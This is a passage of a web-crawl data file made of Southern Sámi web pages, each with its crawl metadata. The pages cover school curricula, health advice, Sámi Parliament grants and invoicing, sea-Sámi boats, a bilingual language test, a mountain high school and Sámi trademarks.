ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa1 mænngan – barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa3 mænngan- lissiebigkeme sïejhme studijemaahtose\n- Faagem vierhtiedidh\nMaahtoeulmie 2. jaepiedaltesen mænngan\nDotkijassaMål for opplæringen er at eleven skal kunne\n- saanside nuhtjedh juktie veartenem goerehtidh gietskene byjresisnie\n- buerkiestidh, vuesiehtidh jïh soptsestidh jïjtse vïhtesjimmiej bïjre voejhkelimmijste jïh eatnamistie\n- vaahra-symbovlem damtijidh vaarege aamhtide jïh vaarege tjoevkese\nAlmetje eatnamisnieMål for opplæringen er at eleven skal kunne\n- darjomh eatnamisnie tjirrehtidh juktie eatnemen bïjre lïeredh, soptsestidh man åvteste daate lea vihkeles, jïh almetji sijjien bïjre eatnamisnie ussjedidh\n- soptsestidh guktie lea almetji jïh kreeki gaskemsh, jïh almetjen dïedten bïjre kreekide hijvenlaakan gïetedidh, gaskem jeatjah våaroeminie saemien heamturine jïh soptsesinie\n- vïhtesjimmieh nuhtjedh jaepieboelhkide buerkiestidh saemien jïh nöörjen aerpievuekesne, jïh soptsestidh guktie dah saemien askedïejvesh, fenomenh eatnamisnie buerkiestieh, jïh reaktoe vaarjoej bïjre soptsestidh vearolden, tsiehkien jïh jaepieboelhken mietie\nGellievoete eatnamisnieMål for opplæringen er at eleven skal kunne\n- damtijidh jïh buerkiestidh naan sjædtoe- jïh kreeke-aarhth voengesne, jïh dejtie dåehkine veesmedh\nKråahpe jïh healsoeMål for opplæringen er at eleven skal kunne\n- nommem bïejedh jïh funksjovnem buerkiestidh naan byjngetje jïh sisnjelds bielide almetjekråahpeste\n- raastebïejemen, goerkesen jïh seahkarimmien bïjre soptsestidh jïjtse jïh mubpiej kråahpese,\n- buerkiestidh jïh soptsestidh saansi bïjre jïh dejtie voerkeslaakan vïhtesjimmine nuhtjedh gosse ålkone jïh gåetesne mejnie akt gïehtele\nFenomenh jïh aamhthMål for opplæringen er at eleven skal kunne\n- buerkiestidh jïh vuesiehtidh guktie eatneme, aske jïh biejjie gaskemsh svihtjieh, jïh jaepieboelhki, dygnen jïh askeboelhki bïjre soptsestidh\n- aamhth buerkiestidh jïh aamhth væhtaj mietie veesmedh mejtie maahta vïhtesjidh\n- voejhkelimmieh darjodh tjaetsine jïh tjoevkine, jïh vïhtesjimmiej bïjre soptsestidh\nTeknologije jïh hammoeMål for opplæringen er at eleven skal kunne\n- daeverh darjodh mah maehtieh svihtjedh viehkine tjaetseste jallh elmeste, jïh soptsestidh guktie dah fungeradieh\n- daeverh darjodh mah refleksjovnem tjoevkesistie nuhtjieh, jïh soptsestidh guktie dah fungeradieh\nSide 6 Av 13","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/NAT2-03\/Hele\/Kompetansemaal\/maahtoeulmie-2.-jaepiedaltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-19T10:13:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400191160.14\/warc\/CC-MAIN-20200919075646-20200919105646-00361.warc.gz","language":"sma","language_score":0.9999995232,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999995231628418}","num_words":303,"character_repetition_ratio":0.113,"word_repetition_ratio":0.007,"special_characters_ratio":0.15,"stopwords_ratio":0.162,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Obs! Detta val innebär att du inte ser regionalt innehåll och viktig information som gäller just din region.\nBesök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nVueptesth covid-19:n symtovmide. Vaarjelh datnem jïh mubpide suetiem geerjehtidh\nIj leah aelhkie jïjtje vuarjasjidh man skïemtjes leah. Eah leah gaajhkh skïemtjelassh jallh vaejvieh mah skïemtjehoksem krievieh. Naan aejkien maahtah jïjtje gåetesne daam gïetedidh.\nDatne 40, 50 jallh 60 jaepien båeries daan jaepien? Dellie datne faalenassem åadtjoeh healsoegoerehtimmiem darjodh healsoesoptestalleminie dov healsoejarngesne jallh skïemtjegåetesne.\nSohte vijrusistie båata jïh dan aelhkies laaneste. Sohtevijruse Sveerjese fïerhten jaepien båata jïh daamhtaj daelvien. Vijruse aelmien tjïrrh laaneste jïh seejh voestes iereste jis naaken lea skïemtje, gossehte jallh gasjna. Jis sohtem åadtjoeh dellie daamhtaj vaejlie, åejjieh saejriedieh, åedtjieh bååktjedh, tjeapohke saejrede jïh gossehte. Maahtah sohten vööste vaarjelidh jis vaksineeredh.\nDenna webbplats använder cookies för att ge alla besökare ökad funktionalitet och service. Läs mer om cookies.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/","date":"2020-10-30T11:29:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107910204.90\/warc\/CC-MAIN-20201030093118-20201030123118-00049.warc.gz","language":"sma","language_score":0.9999500513,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999500513076782}","num_words":146,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjeahpoe jïh kultuvreSaemiedigkien dïedte gosse lea evtiedimmien saemien tjeahposte lea hoksedh tjiehpiedæjjaj leah hijven jïh veanhtadihks mierietsiehkieh sijjen gïehtelæmman.Saemiedigkie edtja dovne sjïehteladtedh guktie mijjieh gellielaaketje saemien kultuvrejieledem utnebe seamma tïjjen goh mijjieh edtjebe sjïehteladtedh guktie kultuvre maahta barkojne sjïdtedh jïh kvaliteetese. Edtjebe aerpievuekien buektemevuekide sjïehteladtedh, seamma tïjjen goh edtjebe saemien ektietïjjetjeahpose sjïehteladtedh. Saemiedigkien vihkielommes dïrrege daennie barkosne lea mijjen ekonomeles vierhkievierhtieh, men aaj dïhte baajnehtimmienuepie maam utnebe gosse govlesadtebe, gaskesadtebe jïh laavenjostebe jeatjah byögkeles åejvieladtjigujmie.Saemiedigkien lea dåarjoeh mej bïjre maahta syökedh kultuvrese, maahta vierhtiej bïjre syökedh saemiengïeleldh lidteratuvrese, saemiengïeleldh guvvieraajroeh, saemien bertemh jïh kultuvreråajvarimmieh. Tjiehpiedæjjalatjkoe lea laavenjostoelatjkoe man bïjre Saemiedigkie jïh Saemien tjiehpiedæjjaraerie leah seamadamme.Lohkh Saemiedigkiebïevnese saemien kultuvreinstitusjovni bïjre (PDF, 330 kB)Lohkh Saemiedigkieraerien reektestimmie vuelien jïh saemien musihken bïjre 2019 (PDF, 817 kB)Lohkh Saemien immaterijelle kultuvreaerpie jïh UNESCO konvensjovne vaarjelimmien bïjre immaterijelle kultuvreaerpien bïjre – guhkiebasse barkoe jïh nuepieh (PDF, 416 kB)","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/kultuvre\/tjeahpoe-jih-kultuvre\/","date":"2020-10-30T16:09:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00430.warc.gz","language":"sma","language_score":0.9999799728,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999799728393555}","num_words":137,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sjøsamenes båter\nMijjieh vïnhtsh vuartasjibie, mah mearoesaemie åvtesne nuhtjin, Porsangerisnie.\nSaemieh jïjtjsh vïnhtsh bigkin. Mearoesaemieh mearoegaedtien lïhke årroeh, jïh provhkin åvtesne gööledh, vijredh, jïh gaertenh utnedh. Båatsoesaemieh lin juhtijh jïh krievviejgujmie ovmessie gåatomelaantide juhtin. Dan biejjien unnebelåhkoe saemijste aerpievuekien jieliemijstie jielieh. Mearoesaemieh leah aalkoealmetje jïh FNen mietie bijjelen 5000 ovmessie aalkoealmetjh veartanisnie gååvnesieh.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/ovttas.no\/sma\/filbma_sjosamenes-bater","date":"2020-11-25T21:58:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141184870.26\/warc\/CC-MAIN-20201125213038-20201126003038-00324.warc.gz","language":"sma","language_score":0.9999996424,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999996423721313}","num_words":52,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elektrovneles reeknegem seedtedh (EHF)\nDigitaliseradimmietjaalegen mietie krïevenassh bïejesåvva gaajhkh staateles gïehtelimmieh edtjieh reeknegem krïevedh elektrovneles handelsformaatesne (EHF). Ålkoelaanten deallahtæjjah edtjieh standaarden PEPPOL BIS nuhtjedh.\nSaemiedigkien elektrovneles reeknegeadresse lea Saemiedigkien org.nr: 974760347\nEdtja iktesth dongkijereferaansem soptsestidh: 1660 + dongkijen aalkoebokstaavh, v.g.: 1660XXX\nGaskesadth dongkijem jis referaanse ij leah soptsesovveme.\nMaam datne goh deallahtæjjah tjoerh darjodh juktie EHF-reeknegh seedtedh?\nBïevnesh EHF:n bïjre DFØ: nedtesæjrojne\nBïevnesh EHF:n bïjre Difin nedtesæjrojne\nSaemiedigkie lea åestije Ekonomijestuvremen direktoraateste. Maahtah DFØ:m gaskesadtedh jis dov leah gyhtjelassh elektrovneles reeknegen bïjre, e-påaste: email@example.com, tellefovne: 40767157\nPaehperereeknegem seedtedh\nJis ih reeknegh EHF-hammosne seedth daan biejjien, maahtah reeknegem paehpierisnie seedtedh påastesne Saemiedigkien reeknegeadressese:\nSaemiedigkie - Sametinget\nFakturamottak DFØ\nPostboks 4746 Torgarden\n7468 Trondheim\nMïerhkh reeknegem dongkijereferaansine!","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/sametinget.no\/saemiedigkien-bijre\/reeknegh-saemiedagkan\/","date":"2021-01-18T23:20:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703517159.7\/warc\/CC-MAIN-20210118220236-20210119010236-00277.warc.gz","language":"sma","language_score":0.9997883439,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997883439064026}","num_words":108,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TOSP- guektiengïelevoetepryövenasse\nVienhteme TOSP-pryövenasse edtja viehkiedirreginie årrodh juktie learohki maehtelesvoeth vuarjasjidh golme suerkine dej gïelen jïh kognitijve evtiedimmesne: lahtesegoerkese, baakoeveahka jïh lohkememaahtoe.\nGoerehtallemematerijelle edtja vihtiesåbpoe våaromh vedtedh akten faageles vuarjasjæmman learohken evtiedimmeste skuvlese jïh lohkehtæjjide, jïh sæjhta viehkiehtidh guktie soejkesjimmie jïh sjïehteladteme dehtie aktegs-learohki lïerehtimmeste buerebe sjædta.\nAkte aevhkie TOSP'pryövenassine lea hævvi vienhth dïhte sæjhta viehkiehtidh guktie aelhkebe sjædta lohkehtæjjide evtiedimmiem vuejnedh learohki göökte gïelijste, goh evtiedimmie aktede \"ellies verbale repertoareste\". Daate sijjeste dejtie goh göökte joekehts gïelevuekieh vuejnedh.\nTOSP maahta åtnasovvedh 4 ovmessie vuekine. Dam maahta gaskem jeatjebem nåhtadidh edtja learohki dominante gïelem goerehtalledh, gosse edtja lïerehtimmiem sjïehteladtedh aktegs-learohkidie.\nPryövenassem maahta aaj goh dirregem nåhtadidh edtja vuarjasjidh mejtie learohki faageles dåeriesmoerh leah akten sïejhme hiejjies lahteseabparaten gaavhtan, jallh dan åvteste learohke baakojde nöörjengïelesne fååtese. Learohkh mah nåakelaakan darjoeh ietniengïelepryövenassesne jïh nöörjengielepryövenassesne, sïjhtieh gujht lahteselïerehtimmiem daarpesjidh. Learohkh mah hijvenlaakan bearkadieh sijjen dominante gïelesne, bene nåakebe mubpiengïelesne, sïjhtieh daarpesjidh sov baakoeveahkam daennie gïelesne vijriebasse evtiedidh.\nTOSP-pryövenasse namhtah dejtie mah åarjelsaemien soptsestieh akti veajkoej. Dïhte gaskem jeatjebem deellemen bïjre pryövenasseste. Pryövenassem maahta dongkedh daestie, Saemien lohkemejarnge \/Senter for samisk i opplæringa, Hánnoluohkká 45, N-9520 Kautokeinoe, jallh e-påastine: firstname.lastname@example.org","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/ovttas.no\/sma\/artihkal_tosp-guektiengielevoetepryovenasse","date":"2021-01-21T12:16:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703524743.61\/warc\/CC-MAIN-20210121101406-20210121131406-00605.warc.gz","language":"sma","language_score":0.9999885559,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999885559082031}","num_words":184,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fjällgymnasiet\nOnne skavla vaeriej byreskisnie\nFjällgymnasiet lea akte onne skavla 100 learohkigujmie. Ih akten onne skavlesne jeatjebi ektesne gaarvenh. Datne dovne dej dov klaassevoelpigujmie åahpenh jïh learohkigujmie jeatjah lohkehtimmieprogrammine. Smaave klaassine buerebe tïjjem fïerhten learoehkasse sjædta. Dutnjien aelhkie viehkiem lohkehtæjjeste åadtjodh jis daarpesjh. Skavlan byjreske tryjjes jïh murreds. Seadtoes jïh joeleds.\nBoelhkine lohkedh\nBoelhkine lohkedh sån mijjen veaksahkommes aevhkie. Datne 3-4 kuvsjh medtie 5 vahkah lohkh. Ih daarpesjh fuehpiedidh jïh bïlledh aajhpehtovvedh. Aelhkebe barkoem jaksedh darjodh jïh aasth gaajhkem guarkedh.\nGellien aejkien aktem kuvsjem galhkh gossege dejnie mubpine aalkah. Eah dah pryövah seamman aejkien båetieh dennie terminen minngiegeatjan. Gosse boelhkine lohkh dovne nuepiem jïjnjebem lïeredh badth aaj lissiedåarjoem kuvsjesne åadtjoeh.\nDigitaale vierhtiejgujmie nuepiem åtnah maajeste barkedh\nMijjen daatalaakten byreskisnie mijjen kuvsjide internedtese bïejebe. Mijjieh Fronter provhkebe, akte webbsijjie, gusnie learohkh jïh lohkehtæjjah seamma saaht gusnie maehtieh ovmessie kuvsjeïebni- jïh tjaatsegigujmie barkedh mah desnie gååvnesieh.\nGaajhkh kuvsjebarkojde desnie soejkesje jïh dïsse tjaalasåvva. Daesnie nuepie dovne learohkidie jïh lohkehtæjjide maajeste barkedh jïh lohkehtæjjam iktegisth lohkehtimmesne jaksedh, vuesiehtimmien gaavhtan gosse learohkh saavremejerkesne jallh gosse daerpies hïejmesne årrodh destie lohkedh. Jis datne guhkede skavleste årroeh dellie dov lea nuepie gåeteste lohkedh. Gosse Fronter provhkebe jïh gaajhkh learohkh åadtjoeh guedtemes daatovrem löönedh datne maahtah dam dov barkoetïjjem jïjtje stuvredh.\nSjeema\nGaajhkh learohkh sjeemam utnieh gusnie barkoetïjje maam learohke mentovren ektine soejkesje. Fïerhten aereden jïh gaskebiejjien learohkh jïh mentovrh tjåanghkenieh soejkesjidh jïh vierhtiedieh Fronter tjïrrh. Sijjesne Fronter learohke fïerhten aejkien daajra gåessie dah ovmessie lohkehtimmieh juhtieh. Dan åvteste sjeemastruktuvre seammalaakan fïerhten vahkan badth sisvege måedtieleejne.\nVuejnieh veartenem Fjällgymnasiet ektine\nSkavlesne Fjällgymnasiet eadtjohkelaakan barkebe learohkidie nuepiem vedtedh lohkehtimmesne jeatjah kultuvrigujmie åahpenidh dovne hïejmesijjesne jïh jeatjah laantine, dahkoe mïnnedh jïh lïerehtimmiem desnie åadtjodh. Daah minngemes jaepieh dovne Indijisnie, Rysslaantesne jïh Ecuadoresne orreme. Lohkh onne skavlesne man lea barkoesijjie abpe veartanisnie.\nUppdaterad: 2020-10-14 15.42","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.berg.se\/kommunochpolitik\/samisktforvaltningsomrade\/sidorpasamiska\/fjallgymnasiet.4.2a948e2414c4aa4dd9a2063d.html","date":"2021-01-22T16:10:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703530835.37\/warc\/CC-MAIN-20210122144404-20210122174404-00565.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":290,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Ibie daejrieh man åvteste dan vaenie ohtsemh båetieh, men koronapandemije maahta akte fåantoe årrodh, Mikkelsen jeahta. Dïhte veanhta jeatjah fåantoe aaj maahta årrodh pijte- jïh upmejesaemien gïeleseminaare jïh åarjel- jïh julevsaemien lïerehtimmiekonferanse maam Saemiedigkie edtji öörnedh, idtjin læjhkan öörnesovvh, koronapandemijen gaavhtan. Saemiedigkieraerie Mikkel Eskil Mikkelsen (NSR)\nKenneth Hætta\n– Lij akte areena mijjese orreme daam suerkiem gaavnedidh, gusnie gaskem jeatjah limh maahteme daejtie aktööride haestedh vierhtieh ohtsedh, Mikkelsen jeahta.\nUlmie dåarjoeöörneginie Dåarjoe saemien gïeleprosjektide lea årrojh nuepiem utnieh saemien lïeredh jïh gïelem eevtjedh. Gåarede dåarjoem åadtjodh juktie saemiengïeleldh applikasjovnh jïh spïelh darjodh, jallh dagkerh saemiengielese jarkoestidh, saemienkuvsjh geerve almetjidie hööltedh, saemien sijjienommh tjöönghkedh jïh dej bïjre bievnedh, digitaale baakoegærjah darjodh saemien gïelesne jïh saemien gïeleråajvarimmide. Orre prioriteeth daan jaepien daan dåarjoeöörnegasse leah saemiengïeleldh digitaale areenah maanide jïh noeride, goh e-sporte jïh sosijaale medijh.\nMaahta geerve sjïdtedh fysiske öörnemh tjïrrehtidh daan jaepien koronapandemijen gaavhtan, men gåarede aaj dåarjoem ohtsedh nedteöörnemidie jallh unnebe öörnemidie. Vihkielommes lea saemien gïelh eevtjedh.\nSaemiedigkieraerie veanhta Saemiedigkie tjuara væjkalåbpoe sjïdtedh nuepiej bïjre bievnedh mah Saemiedigkesne gååvnesieh.\n– Dan åvteste daelie haestebe jienebh ohtsedieh. Jis juerie jallh gyhtjelassh man akt bïjre gaskesadtede maaje Saemiedigkine. Mijjieh riejries bïhkedidh. Ulmie lea aktöörh mah gaskesedtieh edtjieh sijjen barkosne lyhkesidh, Mikkelsen jeahta.\nDaan jaepien golme ohtsememierieh öörnegasse Dåarjoe saemien gïeleprosjektide, njoktjen 1. b., suehpeden 15.b. jïh skïereden 1.b.\nJis gihtjehtimmie jallh gyhtjelassh, gaskesadth saemiedigkieraerien Mikkel Eskil Mikkelsen (NSR), tell. +47 917 42 161, email@example.com.\nBijjieguvvine dej prosjekti bijjeli mah dåarjoem åadtjoejin dæjman dåarjoeöörnegisnie Dåarjoe saemien gïeleprosjektide:","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/sametinget.no\/saernieh\/tjoeperde-vaenie-daarjoeohtsemijstie-dejtie-unnemes-saemien-gielijste.11654.aspx","date":"2021-03-06T02:25:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178374217.78\/warc\/CC-MAIN-20210306004859-20210306034859-00068.warc.gz","language":"sma","language_score":0.9999862909,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999862909317017}","num_words":237,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bollen leah sjïere vuekieh skïemtjelassi vööste vaarjelidh.\nVoestes vuekie bolle åådtje gosse reakasovvi, jïh dan dïrregh leah njaltja jïh njevlehkh.\nNjaltja bollen åvtebieliem vaarjele, juktie eah naan bakterijh jallh vijrush bollen sïjse maehtieh tjaangedh. Njaltja aaj biejjien uv-laemtjiej vööste vaarjele. Njevlehkh bollen sisnie gååvnesieh jïh dah infeksjovni vööste vaarjelieh.\nNubpie vuekie lea vïrre. Vïrresne rööpses vïrre-daablh mah syjrem jïh koldioxidem juhtieh. Veelkes vïrre-daablh infeksjovni vööste vaarjelieh. Gåalmeden daablh maehtieh darjodh juktie vïrre leehpie, dam sån vueptiestamme gosse naan aejkien saejriem åadtjome. Voestegh dennie saejreste tjarke barta, bene boelhketjen mænngan dle vïrre leehpie. Vihkele dle saejriem bïssedh jïh njimkedahkem bïjre bïejedh juktie ij naan bakterije maahta tjaangedh.\nGaaltije:Människokroppen, Olav Sand, Øystein V.Sjaastad, Egil Haug, Jan G.Bjålie","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/prod.ovttas.no\/node\/6634","date":"2021-04-23T06:06:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039601956.95\/warc\/CC-MAIN-20210423041014-20210423071014-00207.warc.gz","language":"sma","language_score":0.9999867678,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999867677688599}","num_words":115,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sametinget støtter Samerådet med en halv million kroner til varemerkesatsing\nSametingsrådet har bevilget kr 500 000 til arbeid med varemerkene Sámi Duodji og Sámi Made.\nPublisert: 31.03.2020 kl 15:04\nDet er Sametingsrådet som nå har bevilget kr 500 000 til arbeid med varemerkene Sámi Duodji og Sámi Made.\nVaremerket Sámi Duodji er rettet inn mot tradisjonell duodji produsert av samer, mens det nye varemerke Sámi Made er rettet inn mot produkter laget av samer, dette kan for eksempel være design.\nI 2014 gjennomførte Samerådet, i samarbeid med de samiske duodjiorganisasjonene, en evaluering av varemerket Sámi Duodji. Sametingene i Norge og Finland støttet evalueringen økonomisk. Evalueringsrapporten konkluderte med at det fortsatt er behov for Sámi Duodji- varemerket. Årsaken til dette er at næringen har behov for rettslige beskyttelse og næringsutviklende støtte.\n- Det er viktig å beskytte og styrke duodji og samisk design. I dette tilfelle skal Samerådet gjennomføre en større grenseoverskridende varemerkesatsing som vil kunne ha positive ringvirkninger over hele Sápmi. Prosjektet kan føre til utvikling av nye tjenester og åpne for et større marked. Sametinget vil gjerne være med å støtte denne satsingen og utviklingen av nye tjenester, sier sametingsråd Hans Ole Eira (Sp).\nI dag er ikke den samiske kulturarven beskyttet på tilstrekkelig måte. Rapporten konkluderte også med at dagens organisering av varemerket ikke fungerer optimalt, herunder kriterier, markedsføring og lisensiering. Evalueringsrapporten anbefalte en revidering av kriteriene for varemerket Sámi Duodji. Samerådet har arbeidet målrettet med å følge opp anbefalingene fra evalueringsrapporten og vil nå forberede en implementering av Sámi Duodji- merket.\nRapporten anbefalte også etableringen av et nytt varemerke, Sámi Made rettet mot produkter laget av samer, eksempelvis design. Varemerket Sámi Made vil på sikt kunne omfatte flere næringsområder, herunder musikk\/joik, opplevelser, mat, litteratur, film, kunst o.l. Det er behov for å forankre kriteriene for Sámi Made merket i Sápmi, spesielt innenfor designfeltet. I samarbeid med Sametinget på norsk side, den nyetablerte kulturnæringsklyngen (Árvu, Sámi Stories, Arctic lavvu, Graveniid) forberedes det til seminar om varemerket.\n- Sámi Duodji er allerede etablert, så at Sámi Made kommer som et eget varemerke er kjempeviktig. På denne måten kan vi beskytte samiske produkter i større grad. Vi kan nå ut med produktene til et bredere publikum, men vi kan vise hvor produktene kommer ifra, sier sametingsråd Silje Karine Muotka (NSR).\n- Tilskuddet er blitt bevilget over Næringsavtalen for duodji – utviklings og investeringstilskudd, heter det i ei pressemelding fra Sametinget.\nSaemiedigkie Saemieraeriem dåårje bielie millijovne kråvnajgujmie vaaroemïerhkebarkose.\nSaemiedigkieraerie lea 500 000 kråvnah dåårjeme barkose vaaroemïerhkigujmie Sámi Duodji jïh Sámi Made. Vaaroemïerhke Sámi Duodji lea stuvreme aerpievuekien duedtien vööste maam saemieh leah dorjeme, mearan dïhte orre vaaroemïerhke Sámi Made lea stuvreme dorjesidie mejtie saemieh leah dorjeme, vuesiehtimmien gaavhtan hammoedimmie.\n2014 Saemieraerie, laavenjostosne saemien duedtiesiebriejgujmie, aktem evalueradimmiem vaaroemïerhkeste Sámi Duodji tjïrrehti. Nöörjen jïh Såevmien Saemiedigkieh evalueradimmiem ekonomeles dåarjoejin. Konklusjovne evalueradimmiereektehtsisnie lij annje daerpies vaaroemïerhkine Sámi Duodji. Fåantoe lea jieleme rïektemes vaarjelimmiem jïh dåarjoem daarpesje mij jielemem evtede.\n- Vihkeles duedtiem jïh saemien hammoedimmiem vaarjelidh jïh nænnoestidh. Daan aejkien Saemiedigkieraerie edtja aktem stuerebe raastendåaresth vaaroemïerhkebarkoem tjïrrehtidh mij maahta positijve illedahkh vedtedh abpe Saapman. Viehkine prosjekteste maahta orre dïenesjh evtiedidh jïh stuerebe maarhkedese rïhpestidh. Saemiedigkie sæjhta maaje meatan årrodh daam barkoem jïh evtiedimmiem orre dïenesjijstie dåarjodh, saemiedigkieraerie Hans Ole Eira (Gk) jeahta.\nDaan biejjien saemien kultuvreaerpie ij leah nuekie vaarjelamme. Reektehtse aaj vihtiesti daan beajjetje öörnege vaaroemïerhkeste ij bööremeslaakan juhtieh, daan nuelesne kriterijh, maarhkedefoeresjimmie jïh lisensieradimmie. Evalueradimmie aktem orrestimmiem juvnehti kriterijijstie vaaroemïerhkese Sámi Duodji. Saemieraerie lea tjïelkelaakan barkeme juvnehtimmide bæjjese fulkedh, jïh sæjhta daelie aktem implementeradimmiem Sámi Duodji-mïerhkeste ryöjrehtidh.\nReektehtse aaj tseegkemem orre vaaroemïerhkeste juvnehti, Sami Made, stuvreme dorjesidie mejtie saemieh leah dorjeme, vuesiehtimmien gaavhtan hammoedimmie. Vaaroemïerhke Sámi Made sæjhta tïjjen åvtese jienebi jielemesuerkiej bïjre årrodh, goh musihke\/vuelie, dååjresh, beapmoe, lidteratuvre, filme, tjeahpoe jïh plearoeh. Daerpies kriterijidie Sámi Made-mïerhkese gårredidh Saepmesne, joekoen hammoedimmiesuerkien sisnjelen. Laavenjostosne Saemiedigkine nöörjen bielesne, dïhte aadtjen tseegkesovveme kultuvrejielemetjomhpe (Árvu, Sámi Stories, Arctic lavvu, Graveniid) akten seminaarese vaaroemïerhken bïjre ryöjredeminie.\n- Sámi Duodji lea joe tseegkesovveme, guktie joekoen vihkeles Sámi Made båata goh akte jïjtse vaaroemïerhke. Naemhtie maehtebe saemien dorjesh enn vielie vaarjelidh. Maehtebe jienebh almetjh jaksedh dorjesigujmie jïh maehtebe vuesiehtidh gubpede dorjesh båetieh, saemiedigkieraerie Silje Karine Muotka (NSR) jeahta.\nDåarjoem dåårjeme Duedtien jielemelatjkoen bijjelen – evtiedimmie jïh skåårvemedåarjoe.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/nearadio.no\/samisk\/sametinget-stotter-sameradet-med-en-halv-million-kroner-til-varemerkesatsing\/19.23835","date":"2021-04-11T16:49:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038064520.8\/warc\/CC-MAIN-20210411144457-20210411174457-00634.warc.gz","language":"sma","language_score":0.9652075171,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9652075171470642, \"sme_Latn_score\": 0.032638587057590485}","num_words":681,"character_repetition_ratio":0.068,"word_repetition_ratio":0.009,"special_characters_ratio":0.159,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":0.973,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«Maam edtjem veeljedh» lea dïhte stoerre gyhtjelasse maam gellie learohkh tjïjhtjedinie klaassesne jïjtjemem gihtjieh daej biejjiej.\nJuktie dejtie viehkiehtidh daejnie vihkeles veeljeminie jåarhkelïerehtimmien sïjse, libie digitaale tjaalegem dorjeme mij lea vïedteldihkie bïevnesefilmide dej ovmessie ööhpehtimmieprogrammi bïjre. Jeatjah nuhteligs svaalhtesh aaj sïjse bïejesovveme mah bïevnesh vedtieh mejtie skuvlide learohkh maehtieh syökedh jïh guktie syökoe. Ohtsememierie njoktjen 1.b.\nLohkh sisvegem daennie sæjrosne jallh veedtjh tjaalegem daesnie (last ned brosjyren her)\nMaam edtjem veeljedh?\nEdtjh jåarhkeskuvlem ohtsedh tjaktjese jïh onterdh maam edtjh veeljedh?\nJïjnje mïsse maahta ussjedidh jïh daate lea vihkeles veeljeme.\nJuktie datnem daejnie viehkiehtidh libie 